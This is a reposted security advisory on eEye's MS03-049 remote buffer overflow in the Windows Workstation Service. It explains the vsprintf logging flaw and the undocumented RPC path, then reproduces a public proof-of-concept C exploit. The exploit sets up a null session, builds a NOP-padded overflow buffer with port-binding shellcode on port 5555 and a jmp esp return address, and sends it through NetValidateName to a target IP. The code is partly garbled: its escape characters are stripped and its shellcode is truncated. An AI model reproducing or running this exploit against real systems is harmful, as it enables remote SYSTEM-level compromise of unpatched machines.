‘Windows Workstation Service Remote Buffer Overflow (Exploit)’
‘The Windows Workstation Creates and maintains client network connections to remote servers, including the Internet, File and Printer Sharing and more.
eEye Digital Security discovered a remote buffer overflow in the Windows Workstation Service (WKSSVC.DLL). An unauthenticated attacker could exploit this vulnerability to execute arbitrary code with system-level privileges on Windows 2000 and Windows XP machines.’
* Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
* Microsoft Windows XP, Microsoft Windows XP Service Pack 1
* Microsoft Windows XP 64-Bit Edition
The susceptible Workstation functionality is accessible via the WKSSVC named pipe (TCP ports 139 and 445).
The buffer overflow vulnerability originates in network management functions provided by the DCE/RPC service. These functions provide the ability to manage user accounts and network resources locally and remotely. Some network management functions generate a debug log file in the ‘debug’ subdirectory located in the Windows directory.
A logging function implemented in WKSSVC.DLL is called to write entries to the log file. In this function, the vsprintf() routine is used to create a log entry. The string arguments for this logging function are supplied as parameters to vsprintf() without any bounds checking, so if we can pass a long string argument to the logging function, then a buffer overflow will occur.
eEye found some RPC functions which will accept a long string as a parameter, and will attempt to write it to the debug log file. If a long string is specified as a parameter to these RPC functions, a stack-based buffer overflow will happen in the Workstation service on the remote system. Attackers who successfully leverage this vulnerability will be executing code under the SYSTEM context of the remote host.
The buffer overflow bug is in a logging function which generates a string for the log file using vsprintf(). The name of the log file is ‘NetSetup.LOG’, and it is located in the Windows ‘debug’ directory.
This logging routine is called from some functions which handle commands for the Workstation service, such as ‘NetValidateName’, ‘NetJoinDomain’, etc. In the case of NetValidateName(), the ‘computer name’ specified as the second argument is eventually recorded in the log file.
For example, if we use NetValidateName() API as follows:
Then we can confirm the following log entry on the remote host ‘192.168.0.100’:
08/13 13:01:01 NetpValidateName: checking to see if ” is valid as type 0 name
08/13 13:01:01 NetpValidateName: ” is not a valid NetBIOS \AAAAAAAA name: 0x57
If we specify a long string as the second argument to the NetValidateName() API, a buffer overflow occurs on the specified host if the debug file is writable.
Generally, the ‘debug’ subdirectory in the Windows directory is not writable by everyone if the drive is formatted as NTFS, which means that we cannot append to the log using a null session. The WsImpersonateClient() API is called before opening the log file, and if the connected client does not have the privilege to write to the log file, then CreateFile() will fail, and the vulnerable call to vsprintf() is not performed. So, in this case, we can exploit FAT32 systems (which do not support ACLs on directories), or systems where the ‘%SYSTEMROOT%debug’ directory is writable by everyone.
However, some extended RPC functions implemented in Windows XP open the logfile before calling WsImpersonateClient(). They are undocumented RPC functions, but can be observed in the function table in WKSSVC.DLL. The RPC numbers for these extended commands start at 0x1B; for example, function 0x1B invokes the NetpManageComputers() API internally, which does not call WsImpersonateClient() before opening the log file.
The usage of NetpManageComputers() is not published; however, the prototype definition of the NetAddAlternateComputerName() API is found in ‘LMJoin.h’, which calls NetpManageComputers() internally. This API is exported from NETAPI32.DLL. This API is also undocumented. We can generate the packet to execute this RPC function (number 0x1B) using the API as follows:
There are no special privileges needed to write the second argument into the log file on the remote host. If we specify a long Unicode string as the second argument (‘AlternateName’), the remote system specified in the first argument will crash due to a buffer overflow. The Unicode string ‘long_unicode_string’ will be translated into an ASCII string before the logging function is called.
Microsoft released a patch for these vulnerabilities. The patch is available at:
Proof of concept for MS03-049.
This code was tested on a Win2K SP4 with FAT32 file system, and is supposed
to work *only* with that (it will probably crash the the other 2Ks, no clue
To be compiled with lcc-win32 (*hint* link mpr.lib) … I will not improve
this public version, do not bother to ask.
Credits go to eEye 🙂
See original bulletin for more information, it is very well documented. */
typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);
#define SIZE 2048
// PEX generated port binding shellcode (5555)
unsigned char shellcode =
‘x66x81xecx04x07’ // sub sp, 704h ‘x90x90x90x90x90x90x90x90x90x90x90x90xebx19x5ex31’
unsigned char jmp =
‘xe9x6fxfdxffxff’; // jmp -290h to land in the payload
netResource.lpLocalName = NULL;
netResource.lpProvider = NULL;
netResource.dwType = RESOURCETYPE_ANY;
netResource.lpRemoteName = ‘\\192.168.175.3\ipc$’;
ret = WNetAddConnection2(&netResource, ”, ”, 0); // attempt a null session
if (ret != 0)
fprintf(stderr, ‘[-] WNetAddConnection2 failedn’);
hInstance = LoadLibrary(‘netapi32’);
if (hInstance == NULL)
fprintf(stderr, ‘[-] LoadLibrary failedn’);
procAddress = (MYPROC)GetProcAddress(hInstance, ‘NetValidateName’); // up to you to check NetAddAlternateComputerName
if (procAddress == NULL)
fprintf(stderr, ‘[-] GetProcAddress failedn’);
memset(szBuffer, 0x90, sizeof(szBuffer));
memcpy(&szBuffer, shellcode, sizeof(shellcode) – 1);
// ebp @ &szBuffer
*(unsigned int *)(&szBuffer) = 0x74fdee63; // eip (jmp esp @ msafd.dll, use opcode search engine for more, but
// be aware that a call esp will change the offset in the stack)
memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char
ret = (procAddress)(L’\\192.168.175.3′, szBuffer, NULL, NULL, 0);
WNetCancelConnection2(‘\\192.168.175.3\ipc$’, 0, TRUE);